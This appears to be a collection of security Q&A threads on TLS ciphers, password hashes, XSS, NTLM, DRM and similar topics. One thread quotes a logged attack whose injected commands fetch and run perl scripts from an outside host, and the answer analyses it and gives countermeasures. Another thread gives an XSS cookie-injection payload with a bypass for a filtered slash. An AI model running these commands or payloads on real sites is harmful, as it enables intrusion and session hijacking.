Hardened SSL ciphers for Nginx as AWS/Cloudfront Custom Origin Based on recommendations, we recently attempted to harden our Nginx SSL configuration against BEAST/CRIME/BREACH attacks with the following stanza:

ssl_prefer_server_ciphers on;
ssl_ciphers ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-RC4-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES256-SHA:RC4-SHA;

We happen to use AWS Cloudfront to distribute static assets, and use our Nginx to serve the files as a Custom Origin. However, since restricting the allowed ciphers, Cloudfront's edge locations were suddenly unable to negotiate secure connections with Nginx.

While I can't find anywhere that AWS documents their preferred ciphers, a discussion in the AWS forums suggests that enabling the MD5 cipher will address the issue.

Not being a subject matter expert, I'm not entirely sure how to integrate what works for AWS with what works for a secure configuration! It's my understanding that MD5 is "weak sauce" as ciphers go. Would it be acceptable to enable the MD5 cipher for the static resource locations that Cloudfront needs, and use the hardened ssl_ciphers stanza for everything else, or does that open up a chink in the armor?

Also, what would the correct formulation of the ssl_ciphers stanza be?

As of today (August 2013), known weaknesses of MD5 have no impact whatsoever on the security of SSL/TLS. Issues with MD5 may induce problems with X.509 certificates, but this is a CA business and is unrelated to your choice of cipher suites.

In that respect, RC4 is actually weaker than MD5. RC4 induces measurable biases, which very rarely have any importance, but at least are real.

If I understand your problem correctly, Cloudfront will connect to your server as a SSL client; then, it suffices to run on your server a network monitor tool (e.g. Wireshark) to capture a connection attempt from Cloudfront's machine; the first SSL message from that machine, the ClientHello, will list the protocol versions and cipher suites that the Cloudfront machine supports. If you want to know what your server actually supports (i.e. the effect of your configuration), try this tool, or that one if your server can be contacted "from the Internet". Compare the lists, find what is missing.


Where can I “hide” easter eggs for students learning about Linux security? I feel like this isn't the best place to ask this (since there's no single right answer), but I can't think of a better place. If you have a better recommendation, could you please recommend it and I can move the question rather than just having it closed outright?

I'm teaching a class of high-school students about general Linux security. At a high level I want them to be able to take a given Linux server and know how to harden it against common security issues - e.g. closing old accounts, using a strong pw hashing algorithm, make sure no strange processes are running or run at boot. Their skill-level is a broad range, and I'm looking for ways to motivate them to use what we've been discussing (e.g. look at crontab; look at users and group configurations; look at open ports).

I have been given $200 to hold a competition to encourage them, and I thought maybe I could purchase a bunch of Amazon gift cards in $10 increments. The idea would be to "hide" the redemption codes in various places on our sandbox server for the kids to find. For example, I could store the passwords in plaintext, and have one of the example user accounts assigned a password of one of the codes. Or maybe I could set up a cron job to log one of the codes to a system log every 30 seconds.

What I'm looking for is places/methods to hide these codes such that someone looking to secure the server would stumble across them.

Thanks!

I can think of a few ideas:

put the codes inside a file running at boot, discoverable when the user run strings on it
put the codes on suid scripts (you should never ever have suid scripts)
put codes on world-writable binaries on /sbin
put codes on world-readable config files somewhere
put codes on tmp files
put codes as a chain name on iptables

Things like that.


Is it possible to reverse a hashed password? Is it possible to reverse a password hashed with bcrypt?

No. Hashing is not reversible.
What is usually referred to as "cracking a hash" is to throw lots and lots of strings on the hash function and comparing the output with the list of hashes (a.k.a. "brute force").


App uses html_safe method, possible issues For one who doesn't know, .html_safe is rails method, which outputs strings as part of html document.
The problem is that string is user inputed. What did I do to prevent some bad actions - regexp inserts after every < or >  invisible symbol, which breaks all tags, that could be part of html of document.
But still feel a bit unsure - does it protect page? Any other ways of use .html_safe, except tags, or symbol doesn't protects me enough?

Here's an article explaining in details how html_safe actually works. In short, you should not call .html_safe in untrusted strings or in strings that contain other untrusted strings (e.g. "trusted #{untrusted} trusted").

If you have a trusted string (not user inputted) that you need unescaped, you can call html_safe in it, and proceed appending other strings to it (or appending it to other SafeBuffers). Every regular string appended to a SafeBuffer will be escaped, and thus can not cause XSS vulnerabilities. If you concatenate two SafeBuffers, however, no escaping will occur.

Also according to the linked article, the rendering of every view starts with am empty SafeBuffer, so every string you append to it will be escaped by default.


How to find and protect against the exploited vulnerability in a PHP application based on the logged URL? I have been attacked on a shared host server and they said I should configure my own php.ini file properly.

I have a little PHP/MySQL program with a registering function, a little admin site.

However, someone hacked it up. Any help would be really appreciated with php.ini.

Here is what I got from the webhost provider:

  121.254.216.170 - - [12/Sep/2011:05:21:07 +0100] "GET /?p=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 5806 "-" "http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;cd /tmp;lwp-download http ://some . thesome . com/etc/cup.txt;perl cup.txt;rm -rf .txt;wget http ://some . thesome . com/etc/update.txt;perl update.txt;rm -rf .txt'); echo \"#j13mb0t\"; ?>"

Because script injection attacks the site code itself, it is able to completely avoid webserver security. Unfortunately, some content management systems (especially older versions of Joomla) are extremely susceptible to this form of attack.

A simple way to remove the ability for attackers to use this method is to add a php.ini file at the top-level of the website with the following contents - be aware though that the website will need testing afterwards to ensure that no legitimate website scripted actions have been affected by the change:

The php.ini directives are:

allow_url_include = "0"
allow_url_fopen = "0"

While the suggested settings are good unless the disabled functionality is actually needed, they would likely not have prevented this kind of attack:

Attack vector

http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;
cd /tmp;
lwp-download http://some.thesome.com/etc/cup.txt
perl cup.txt
rm -rf .txt
wget http ://some.thesome.com/etc/update.txt;
perl update.txt;
rm -rf .txt
');
echo \"#j13mb0t\";
?>"

Vulnerability

There is some PHP code which writes another PHP file, most likely a way to change a configuration using the web interface. The configuration is stored as PHP code.

The mechanism writes something similar to

shell_exec('wget '.$untrustedUserInput.' something else');

$untrustedUserInput is the string I quoted above with proper line breaks for easier reading.

Given the attack URL in the Refer header, it is possible that the motivation for the code is not a configuration mechanism but to create an archive of pages from which people are linked to your website.

Result

So the result looks like

shell_exec('wget http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;
cd /tmp;
lwp-download http://some.thesome.com/etc/cup.txt
perl cup.txt
rm -rf .txt
wget http ://some.thesome.com/etc/update.txt;
perl update.txt;
rm -rf .txt
');
echo \"#j13mb0t\";
?>
".' something else');

Note the ?> to prevent the "something else" from being seen as PHP code.

Counter-measures

If possible set the file system permissions to not allow the webserver to write files in any directory that it executes PHP files from. You may need to temporarily give write permissions for configuration changes on specific files, but should remove it after the changes. Be especially careful to put upload folders outside the web root.

Make sure that you install security updates of third party software, such as PhpMyAdmin, Wordpress including the plugins very quickly after release. Subscribe to the mailing lists on which those updates are announced.

Have an audit done on your code. If that is not possible because it is too expensive, at the very least learn about common security issues in PHP code. The OWASP PHP Top 5 are a good starting point.


Why are credit card companies generally limiting themselves to 16-digit data infrastructure? I have a question.

Why are credit card companies generally limiting themselves to 16-digit data infrastructure?

ISO/IEC 7812 is a very old standard that has a relatively large address space even taking into account the Luhn algorithm used and the agreed upon Issuer Identification Numbers. Modern analytics to detect fraud can also easily deal with the card numbers being reused over time which allows number reuse to be fairly easy.

That said, more than anything it's just an older standard that probably takes a lot of effort to upgrade.

Sometimes when updating standards if there is no rush to deploy the change the standards bodies will also wait and watch what is happening in the industry in case they need to change their design before a new update is released. Given the large amount of software that would have to be updated I suspect they won't recommend a change unless it's absolutely required.


NTLM/LM Hashes on Domain Controller I've noticed that when extracting password hashes from a domain controller (using Elcomsoft proactive password auditor) sometimes I'll get LM and NTLM hashes and other times I'll only get NTLM hashes.

I note that the NTLM + LM hashes (the accounts that contain both sets) are recovered orders of magnitude faster than the hashes that are only NTLM.

I'm curious as to why this is the case?

I understand that LM is the older and weaker of the two, but I don't understand why both LM and NTLM are being stored in these scenarios?

More importantly, given that it appears that NTLM hashes exclusively are the safer option, how can I enforce NTLM only and remove existing LM hashes for users?

There' a pretty good Microsoft KB article on this exact subject.

Basically, LM is used for compatibility with older clients. Specifically, Windows 98 and below. If you do not have any older clients on the network, then the cause for both hashes is most likely due to the password length being <15 characters.

  When you set or change the password for a user account to a password
  that contains fewer than 15 characters, Windows generates both a LAN
  Manager hash (LM hash) and a Windows NT hash (NT hash) of the
  password.

It appears that the reason for this is due to the hashing limitations of LM, and not security related.

  In the event that the user's password is longer than 15 characters,
  the host or domain controller will not store the LM hash for the user;
  the LM response cannot be used to authenticate the user in this case.
  A response is still generated and placed in the LM Response field,
  using a 16-byte null value (0x00000000000000000000000000000000) as the
  LM hash in the calculation. This value is ignored by the target.

It is advised to disable LM hashes as the protocol is severely broken as you suggested. For those who might not be aware, some of the problems with LM's include:

Passwords are not case sensitive.
Password are split into 7 chars and hashed seperately, making brute force trivial.
Passwords are limited to a maximum of 14 characters in length.

There are a couple methods to removing LM hashes listed on the KB article I mentioned, I will quote the GPO method in case the link goes bad.

Method 1: Implement the NoLMHash Policy by Using Group Policy

To disable the storage of LM hashes of a user's passwords in the local computer's SAM database by using Local Group Policy (Windows XP or Windows Server 2003) or in a Windows Server 2003 Active Directory environment by using Group Policy in Active Directory (Windows Server 2003), follow these steps:

In Group Policy, expand Computer Configuration, expand Windows Settings, expand Security Settings, expand Local Policies, and then click Security Options.
In the list of available policies, double-click Network security: Do not store LAN Manager hash value on next password change.
Click Enabled, and then click OK.


Effect of Source Code Leakage of a security suite on security I am interested to know what threats does it pose, if the source code of a security suite is leaked. It came to my mind after reading the following URLs:

http://www.pentestit.com/2011/01/31/source-code-kaspersky-antivirus/

http://forum.kaspersky.com/index.php?showtopic=199598

What would be the threat if the source code was up-to-date and how can one make sure that while using such product, the security is at its minimum risk (comparing with the situation in which no source code is leaked).

There is possibly a short term raised threat potential, as you can guarantee attackers will be trawling through the code to find weaknesses, however there will also be a number of white hats doing the same, as well as code review teams from organisations that use Kaspersky, so issues may well be found, but the end result is likely to be a more secure codebase than might otherwise have been the case.

Many eyes, and all that.

The relative risk is difficult to estimate though, because it is a high likelihood that attackers have already been reverse engineering and disecting AV code anyway - so in this case the addition of the good guys to the review pool could skey the risk downwards.


Is "untrusted code" reported by DOM Snitch a vulnerability? One of the most frequent errors that DOM Snitch finds in sites is Untrusted code. He finds it in google.com for example. Here is an output of this tool:

Is it a vulnerability?

Edit: This report of DOM Snitch was caused by enabled Skype Click to Call extension that sends requests while page is loaded

The "Untrusted code" heuristic is intended to flag the inclusion of any resources that are hosted outside the immediate origin or a pre-defined list of safe origins (https://code.google.com/p/domsnitch/wiki/ConfigFiles#safeOrigins). The basis of this heuristic is to provide a signal if you're including resources from an origin you're not supposed to. It does not evaluate whether an included resource is insecure or not.

As for the sample above, the included script is not from DOM Snitch as the extension itself uses inline JavaScript when it needs to pass JavaScript code into the page itself. Please see https://code.google.com/p/domsnitch/source/browse/trunk/glue/Loader.js#26.


Script / method to erase USB flash drive content after a certain number of uses I have a few bootable thumb drives with various OS's that I intend to let someone use. However, I need a way to ensure the USB drives can only be used once. Thus my question - is there a way to have a USB drive wipe itself after a certain amount of uses? Perhaps with a script or software / firmware on the drive itself?

I have done some research on the topic already, but my searches yielded little useful information.

Thanks ahead of time for assisting me with data rights management!

You want a DRM, not an "integrity" solution

First a small vocabulary precision. The "data integrity" term you use doesn't seem appropriate regarding your needs.

A data integrity method would ensure that the data on the flash drive is genuine and/or cannot be in a corrupted or incoherent state, but this do not seem to be your concern here.
A Digital Right Management (DRM) method, according to Wikipedia, "is a term referring to various access control technologies that are used to restrict the usage of proprietary software, hardware, or content.

So what you need is a DRM solution, and not a data integrity solution.

Possible, but only on an industrial or semi-industrial scale

There is no really viable protection relying solely on the OS or any data publicly stored on the thumb-drive. Indeed, it is trivial to dump the raw thumb-drive content and restore it later to put it back in its pristine state.

So, you can forget about self-deleting content, standard encryption which will be of no help against this, do not even think about storing a counter in some unallocated zone of the file-system (such tricks were used to protect CD-ROM's in the late 90's but will be of no help here).

Some other answers suggest the use of an Internet-based service. This is how DRM-enabled PDF documents work: the document themselves are encrypted and upon each opening the decryption key is requested to some Adobe server. This may work, but you have better ensure that your software requesting the key and the protocol it uses cannot be reversed or replayed, otherwise the end-user will be able to get around your protection. All security will rely on this, and given enough time and determination consider that your software will eventually be broken, it just a matter of profit vs. efforts needed.

The solution I suggest doesn't require any Internet access from the end-user and gives a good protection against reverse engineering attempts by keeping the security system out of the reach of end-users.

A firmware-based solution

You will need something not reachable to the user, and this will most probably mean you will have to customize your own firmware for the job.

Following my idea, the storage area of your flash drive should be divided in three zones:

One public and relatively small zones containing just enough material to initiate the boot procedure (it needs to be accessible to a standard BIOS),
One very tiny zone accessible only to the firmware (and never accessible to the computer) storing the counter and, possibly, some other configuration and/or authentication material,
The largest zone, accessible to the computer only after a successful internal authentication.

The boot process would go as follow:

The BIOS read the publicly accessible boot sector and initial boot executable,
This initial executable initiates some custom authentication procedure with your firmware to unlock access to the main data,
If the authentication is successful and the maximum number of allowed unlocks not reached yet, the firmware increments its internal unlock counter (stored in his private area) and then effectively unlock the main storage area,
Once the main storage is accessible, the boot process can continue as usual.

Potential weaknesses

First potential weaknesses I could see:

I do not know which application you intend to run on such thumb-drive, however an end-user may try to extract and copy the unlocked content (whether directly from the USB drive or from the mounted RAM disk) if your software allows him to do so (for instance if he is allowed to open a shell with root access). So you may want to restrict the user's privileges on the running system to prevent this.
Your initial boot executable may use some obfuscation technique to prevent the authentication procedure to be easily leaked. In the hands of determined attacker, expect dead and live analysis since they can for instance connect your thumb-drive to a virtual machine to simulate a boot process and analyze the exchange between the initial executable and the thumb-drive.
The good news is that, even if the authentication process and secrets are reversed, this will not allow to tamper with the unlock counter or unlock an already locked thumb-drive.
Your firmware may be overwriteable. When selecting a provider for your chips, you must ensure that they offer the possibility to lock any further update or rewrite of your firmware code. This may not be obvious, but there is actually plenty of USB devices where the firmware can be rewritten by end-users, see BadUSB. Since your security relies on your firmware, this may be an important criteria for you.
If the value is high enough, a determined attacker may be willing to access directly the data stored in the NAND storage chips inside the thumb-drive. If this is a concern for you, you may want to implement on-the-fly encryption in your firmware so all stored data will be systematically encrypted.

Feasibility / credibility

Custom flash drive: A quick search let me find several open sourced USB keys with customizable firmware already available in retail and wholesale, however they were targeting the more profitable market of security tokens which mean they add a more costly cryptographic hardware to the key. Most chances are that cheaper already-made USB keys can be found at lower price.
Custom firmware: Creating his own firmware may sound highly technical, but I do not think it really is. USB chips provider also provide the associated development framework which include libraries acting as an abstraction level over USB low-level operations and placeholders for the user's customized code. As a sample here is a random documentation for such a library so you can get yourself an idea. The main prerequisites are to know how to write C applications, how to use an IDE, and have only a basic understanding of how USB works.
Divide the storage area and control access to each zone: This is not my invention, as far as I remember this is how the DRM extension for SD cards is implemented. To learn more on this topic, this specification is confidential however some part of it (at least) leaked on the Internet despite the non-disclosure agreements. I am not reinventing the wheel.
On-the-fly encryption: There are already USB token providing on-the-fly encryption, however to achieve good performance they bundle some cryptographic hardware. Since encryption is not your first goal here, and if you really need to encrypt the storage area (ie. if you fear that your users will take your flash disks apart and access the raw NAND chips content directly), you may still be able to do without such hardware but you will have to restrain yourself to very low resources algorithms. In fact, with a flash drive limited computing resources, you may go more toward some data obfuscation scheme than a true highly secure encryption algorithm.


Should I make sure to get all of my OpenPGP uids are signed? Should I make sure that I get all of the uids associated to my OpenPGP key signed, or is it enough to have one of them signed?

If Bob can guarantee that alice@example.com belongs to Alice, I can't see any security problem in assuming that Bob also guarantees alice@example.org to belong to Alice as well, if alice@example.com says so.

OpenPGP relies on a kind of Public Key Infrastructure known as Web of Trust. PKI is all about trust delegation: you gain confidence in the association between a given key and an identity through signatures which are verified with public keys you already trust. You "know" that Alice's public key is the one you see because Bob signed it, and you can verify it because you know Bob's public key; and you know Bob's public key because Charlie signed it.

Trust delegation does not scale well vertically. In the Alice/Bob/Charlie scenario, you know Charlie (you met him) and he gave you his public key, so you are quite sure that Charlie's key, as you know it, is correct. Thus you can verify the signature Charlie computed over Bob's key (that is, a signature over the pair "name=Bob,key=..."). So you can have confidence in that key being owned by Bob, but this requires Charlie to be honest and not too gullible. That might be a bit too much to ask; knowing Charlie's key does not automatically mean that whatever Charlie signs is Gospel. Yet you met Charlie (physically), so maybe you can trust him. For the third step, Bob signing Alice's key, you need even more from Charlie: indeed, you never met Bob. So, by trusting Bob's signature over Alice's key, you are actually betting on the idea that Bob is honest and not gullible; so you are relying on Charlie not only to be honest, but also to refuse to sign keys of other people who are not equally honest and not gullible. So Charlie has to be good at psychology and evaluating reliability of other people as well.

So, to sum up, the more certification steps there are, the looser the name/key binding is. There are two ways out of this:

In hierarchical PKI (like X.509), name/key binding (i.e. guaranteeing that a key really belongs to a given entity) and trust delegation are distinct; someone with the power to assert such bindings (a certificate authority) will accept to delegate that power only after making thorough investigations, and through a legally binding contract which lists responsibilities in full lawyer-compatible language. This makes certification trees acceptable, up to a depth of about three or four certificates.
In Web of Trust PKI, each "link" in a certification chain (a chain of signed keys, from a key you know to the key you want to use) is awarded a level of reliability, and you accumulate many chains until the accumulated reliability achieves a preset level. WoT PKI relies on mass effect: an active attacker may swindle one or two gullible users, but not the whole "community". The certification graph is supposed to be strongly overconnected.

Therefore, if Bob signs the key of alice@example.com, and alice@example.com signs the key of alice@example.org, then that's one extra step, hence one extra unreliability, which will have to be compensated by other chains -- chains which must end on alice@example.org without going through alice@example.com. From this, we conclude that you should get all your UID signed: this will make verification of your key easier.


Is it secure to use SQL for storing authentication codes? I'm very new to things when it comes to website security. I currently have my website set up like this:

User inserts username and password
User gets redirected to a login.php page to proceed with authentication. Username and password are sent over POST to login.php and is NOT ENCRYPTED in any way. (Potential security flaw, but I'm not sure if it is or how to fix it..)
Username and Password is matched with username in database and hashed password in database
Login.php generates a 100 character code (May be excessive). This code is stored in the user's cookies and in a MySQL database along with the current time.

Authentication:

Checks for the authentication code in the database and checks if it's still valid (was made less than 6 hours ago). If not, redirects user to login page and denies access.

Again, I'm very unsure if this is secure at all. It should be noted that this website will not be getting very much traffic (as it's not meant to be public) however I still do wish to have a certain amount of security on there, just in case.

Also, is it secure for a MySQL server to be storing these codes?

Storing the session id in the database is ok as long as access to the database is restricted and you regenerate the id each time the authentication is successful, but you didn't say much about the cookie. A 6 hour TTL is excessive. Typically a session id should expire after around 20 minutes of inactivity, although this can vary greatly depending on what the service being authenticated actually does. It should be a session cookie and therefore expire when the browser is closed. Also, it should probably have the httponly flag set to protect against javascript attacks and you should provide an explicit logout capability which removes the session id from the database. But the absence of HTTPS is a major security hole.

Also, I hope you are generating and storing sufficientlty random salts for the hash and using a decent hash algorithm.

You might also spend some time thinking about how you prevent brute force attempts on your site.


Why was running OpenSSL dhparam too fast? I just generated Diffie-Hellman parameters and it seemed way too fast. The whole thing was over in under a second:

$ openssl dhparam -out /etc/ssl/certs/dhparam.pem 2048
This is going to take a long time
..............................................+.++*++*
$

I'm running on a relatively new ECS t2.medium instance (2 VCPU, 4GB RAM).

So I ran it again and this time it printed 5918 characters and took about 30 seconds.

What happened the first time?

When creating Diffie Hellman parameters it takes the most time to create the modulo p, which is a big prime number. To create this, a semi-random number is taken and checked for primality. If you are lucky and you pick a prime number soon, the algorithm finishes quickly.

Specifically:

BN_generate_prime_ex calls probable_prime_dh_safe that takes a random number and checks whether it is divisable by the first 2048 primes. If it is, it takes another random number, etc. If it finds a likely prime, it prints a dot.
It calls BN_is_prime_fasttest_ex, which does the Miller–Rabin primality test. It prints a '+' if the tested value is prime.
It tests both p and (p-1)/2 this way, and prints a * if both are prime. It tests it a couple of times to be really sure. For 2048 bits, it checks it twice. That is why you see ++*++* on the end of the output.

It repeats these steps until it finds a number that is very likely to be prime. How many loops are necessary depends on chance.

Openssl docs


Security requirements of storing ID numbers in database EU/USA? I am dealing with a client (an official organization in one EU country) who is storing all clients' ID numbers in an Excel spreadsheet. They need those numbers to present their clients once per year i.e. to register to be members of one society. I do not like about such a practice. All pieces of contact information are stored as plain text and accessible by all administrative board without any logs.

I do not like such a practice, especially when the organization is planning to work to USA.

What are security requirements of organizations in storing identifiable pieces of information in EU/USA?

Above all: every use of individual related data has to be reported if there isn't an explicit exception! So if the excel sheet contains names, addresses, telephone numbers etc. I would definitely talk to a legal expert. If there is no individual related data to be transferred, no additional rules apply.

If you are looking for laws regarding encryption (key length, algorithms,...)- i don't think the EU has clear regulations for the protection of data, other than the data has to be adequately protected. There is a FAQ to get an overview to the topic of data transfer.

If your customer has it's legal headquarters within the EU there are three different "data export categories" applying to him:

If he wants to transfer data within the EU or "EEA" no additional rules apply
If countries outside of that "community" are considered to adequately protect data, transfer should be no problem: list of countries
If the country to which the data should be exported doesn't fit one
of the above criterias, the company who is receiving the data has to assure an adequate level of protection. There are standard contractual clauses to make the report of the data transfer more easy: standard contractual clauses


Session Fixation - Setting path to root without / I have found an XSS vulnerability on the subdomain of a site I am testing, and using it I can set cookies for both the main site and all it's subdomains.

My url currently looks like this:

http://s1.example.com/u/%22%3E%3Cmeta%20http-equiv=Set-Cookie%20content=%22sid=1234;%20path=/;%20expires=Thursday,%2020-May-15%2000:15:00%20GMT;%20domain=example.com%22%3E

The issue is that for some reason or another, the character "/" is filtered out (no other characters are), meaning that although I can set cookies to the main site and all it's subdomains, I can only set them to the path /u/ as that is where the attack is launched from on the subdomain. Is there any way to set the path to / without actually using the /?

Thank you very much for any help!

Your content is going into an HTML attribute, encoded in a URL. That gives you two possible forms of encoding:

URL-encoding: %2F. Although this should in principle work, both IIS and Apache block the use of URL-encoded slashes due to some past security issues.
HTML-encoding: &#47;, or rather as it is itself in a URL, %26%2347%3B.

(Although... since you appear to have an injection into HTML attribute, is there any reason not to go straight for the more-damaging and better-supported %22%3E%3Cscript%3E...?)


Are nearby attackers dangerous? It is a general consensus that physical access can be dangerous. However, I would like to know attack vectors if attackers only get nearby access to the system.

I’m assuming that the word access refers to contact. Sometimes, attackers may not be able to physically contact the machine, but may be able to get close to it.

For example, when I’m taking a bus and put my tablet into my bag, an attacker can get very close to it without acting suspicious, especially when the bus is full of passengers. When I’m using my computer in a (public) library, the guy sitting in front of the next desk may be within 1 meter from my computer.

I’m aware of several attack vectors, but I’m not sure whether there are others I haven’t come up with, and I may underestimate the risk. Those include:

Looking at my keyboard input. While I can use other means of authentication (e.g. biometrics), sometimes they are not available (I believe most computers don’t, at least without specialised hardware).
Motion sensors that record oscillations. The sensors may eventually gather enough information to crack passwords, etc.
Insecure transfer protocol. If there is a bug within the protocol e.g. AirDrop, nearby attackers may exploit that bug and trigger a buffer overflow. Unencrypted transfers like those under http may be read or intercepted by attackers.

I don’t think these are very useful attacks when the attackers cannot get physical access afterwards, and some of them can be easily mitigated (e.g. securely store passwords in browsers, enable 2FA, always use VPN). Not so sure whether there are other things that attackers can do, though. Any help is appreciated.

Overall, you will need to formulate a proper threat model before any question asking for risk analysis can be answered. If you are dealing with highly-sensitive material in an adversarial environment, you may want to only use specially-certified hardware in secure areas. If you are simply trying to avoid identity theft or your Gmail password being revealed, then avoiding shoulder surfing is your priority.

The primary issue with nearby attackers who are not in physical contact with the device is insecure short-range wireless protocols, such as Bluetooth or poorly-secured WiFi. An attacker cannot exploit a wireless chipset or perform a MITM attack against a local wireless network without being relatively close (often within several hundred meters, sometimes less). This issue can be mitigated by using secure wireless protocols and strong passwords.

Another issue which is typically only relevant to sophisticated attackers is that of compromising emanations. Every electrical action performed in a device results in electromagnetic radiation. Depending on the operations, these emanations can be used to reconstruct the operations themselves. This is a problem when processing cryptographic key material. This subject is very broad and is typically put under the realm of EMSEC, or Emission Security. The capabilities of an attacker range from being able to recover keystrokes from a few dozen meters away to being able to recover key material during cryptographic operations. Note that these attacks are not limited to EM radiation. Audio released as capacitors are charged and discharged can give away a surprising amount of information about a system's internal state and ongoing operations.


Does Skype compromise my system (beyond the scope of calls/chats)? First of all, please don't shout at me for wanting to use Skype. I know that it's evil and I fully expect all the calls and text chats going through it to be stored permanently in govt data centers, but let's pretend we don't care about that.

Assuming one installs it on Linux (if there's still a binary available), is it likely that it could spy on other applications, intercept the network traffic or scan personal files (in other words, act like spyware)?

Or maybe it's even possible for an attacker to execute random code on my computer (inject malware)?

I know that it's closed-source software, so we can't look at the source and know for sure, but maybe someone has run some tests, trying to figure out what Skype does in the background.

Edit, clarification (hopefully)

I have used the (strong) words "spyware" and "malware" and it seems the way I wrote my question is causing a "Skype is not a virus" kind of reaction. This is of course true and I'd probably give a similar answer to a "is it a virus, yes or no" question, but that's not my actual question. Rather than a personal estimate, I'd like to know if there is reason to believe that Skype might, for instance, scan all my files for keywords and send those to some lovely security organization (either on purpose or by accident, because of a bug - however not one that requires my interaction). Again, "reason to believe" is not based on what you think of Microsoft, but by evidence or at least suspicious findings.
Skype would usually be running as my user (i.e., called by ~/.config/autostart/Skype.desktop) so it can read all my files, just like any other program I (same user) run. I don't see why it would need root privileges to read things owned by my user, (u+r set, of course). "All my files" means all (regular) files under / that my user has read access to (think personal files, not /var/log/messages).
As for vulnerabilities in previous versions - almost all programs have bugs and some are critical. However I'm not interested in bugs that require my interaction (say, I have to place a malicious library file somewhere).

Any application can be compromised. It is unlikely that Microsoft would infect its customers computers, but it is not impossible. There was a big case many years ago where Sony installed root-kits on people's computers. It is also possible that their could be a vulnerability in Skype (which there have been in the past) which a third party could utilize. A desktop application runs with whatever privileges are granted to the user under which its run. If you run it as root or Administrator privileges, then a malicious method or vulnerability could lead to interception of data or execution of unauthorized code.

In most cases, you have some level of defense with firewalls, host-based intrusion detection, network intrusion detection, or antivirus at the operating system level.

Whether an application is open source or not does not really impact is security or openness. An open source application is easier to analyze and critique, but if no one is looking for security issues or writing the patches, then its not magically more secure or less evil.


What negotiates SSL ciphers? In light of the recent FREAK vulnerability I am trying to get a hold on what ciphers are being used by inbound connections. I have FTP tracing on which is giving me which ciphers are being negotiated between external clients and the system I am using. However, I would like to know what actually negotiates the SSL cipher? Is it negotiated by the client software such as FileZilla, etc or is it negotiated by the OS? Something else?

In SSL/TLS the client suggests but the server chooses. The client sends a list of supported cipher suites, and the server selects one in that list. The list sent by the client is ordered by preference, but nothing forces the server to really honour the preferences of the client.

On both the client and server side, as @schroeder explains, the application software really does the job, but it may keep its configuration in a centralized emplacement, especially if the actual protocol implementation is provided by the OS. In general, such centralization is a lot more common in the Windows world than in the Linux ecosystem.

The FileZilla client uses GnuTLS for its SSL/TLS implementation; as far as I know, as a library, it does not use any centralized configuration for client-side protocol details, so whatever list of supported cipher suites sent by FileZilla will be decided upon by the FileZilla application code itself -- or, more probably, they just use the default settings of GnuTLS.


Decoding a HMAC SHA256 when the key is the same as the original string Theoretically, python function for encrypting a HMAC SHA256 looks like this:

hmac_sha256(key, text)

The word "hello" was encrypted using the function like so:

hmac_sha256("hello", "hello")

How easy would it be for someone to decrypt this, knowing that the original message equals the key?

How easy would it be for someone to decrypt this, knowing that the original message equals the key?

If all you know is that they key equals the message, then attacking the HMAC practically impossible. If you look at how HMAC gets computed you can see that you would somehow need to get the input to a SHA-256 hash from a known output. This would mean you need to mount a successful pre-image attack against SHA-256 which is considered practically impossible today.


In golang TLS, if an intruder obtains the client cert and key, is MITM possible? I am still learning how TLS works.

I've create a sample golang client-server app, then used cfssl to generate certificates.

Now what I did is create a CA, then create the client and server certificate signed by that CA.

The server and client config is almost the same except for the organization and organization unit.

Now the server will receive the server public cert and its key and the CA certificate, and the client will also receive the client public cert and its key and the CA certificate.

My question is if an intruder is able to copy the client public certificate and its key and also the provided CA certificate, could he perform a MITM attack between the server and the client?

Edit: The scenario I was thinking of is both the client and the server within the local network, but their client computer has an internet connection.

The certificate in TLS is used for authentication, i.e. to verify that one is talking with the expected peer. This is true for both server and client certificates. But in most cases only a server certificate is used to make sure to deter man in the middle attacks. Thus most MITM scenarios only care about somehow faking the servers certificate or stealing the servers private key to perfectly impersonate it.

In the case that only the client certificates private key is compromised but not the server certificates private key a man in the middle attack is not possible, provided that the client correctly validates the servers certificate. And it does not matter if both certificates are signed by the same CA or not.

But, if the client certificate is used by the server to authenticate the client and based on successful authentication to allow specific activities, then another attack is possible. Since the attacker has compromised the private key of the client certificate he can now perfectly impersonate the client and do any actions at the server which are allowed for this certificate.

The situation is different if the client wrongly relies only on the trust chain for certificate validation and does not check that the subject of the servers certificate matches the servers name. This error of not checking the subject or not properly checking it could actually be found often in the past. In this case the attacker could use the compromised client certificate to fake the original server certificate inside a man in the middle attack because this certificate is signed by a trusted CA and the wrong subject is not detected by the client.


How secure is Integrated Windows Authentication for IIS SMTP? I have a Windows SMTP server that is currently allowing the "AUTH LOGIN" method of authenticating.  As I now know, this is simply a base-64 encoding of the username and password, which is basically as bad as plaintext, as spammers can sniff out the plaintext password in transit.

As a quick fix, Integrated Windows Authentication (IWA) is available for me to use.  I believe that IWA uses "AUTH NTLM" authentication.   Is this considered "secure enough"?  Are there any vulnerabilities in the wild that make "AUTH NTLM" a bad idea?

The bad idea is not the use of NTLM, but the lack of use of SSL. Without SSL, data travels unprotected, and, in particular, active attackers may hijack the connection (for instance right after the authentication was performed). No amount of NTLM will fix that.

To use SSL with STMP, there are two ways:

Run the whole SMTP transaction in a SSL server. The client must be aware, beforehand, that it is expected to begin the transaction by a SSL handshake. The traditional port for a STMP-within-SSL server is 465.
Have the client and server use STARTTLS. Connection begins with the "normal" port (25), but the client and server then negotiate the use of SSL/TLS and, after that negotiation, begin a SSL/TLS handshake.

Either way, you must configure the client not to send the password "as cleartext". Most clients can be configured that way.

If you use SSL/TLS then sending the user name + password "as is" is fine. If you do not use SSL/TLS, then switching from basic authentication to NTLM may slow down the less competent attackers, but don't believe that it will really thwart them. The cryptography in NTLM is not exactly worth a lot of enthusiasm, but the biggest problem with raw NTLM over an unprotected socket is the same as raw login+password over an unprotected socket: the socket is unprotected.

Compared to basic authentication, NTLM does not show the password itself, so passive only attackers will not learn the password immediately; however, they obtain a password hash, with a very fast hash function (a few MD4 and MD5, at most), meaning that brute force on the passwords will be effective. A passive-only attacker with a good GPU still has a good chance of breaking some user passwords.

A good reason to switch to NTLM is integration with other authentication methods, e.g. smart cards. But if your users have passwords, then basic authentication does the trick with less hassle.


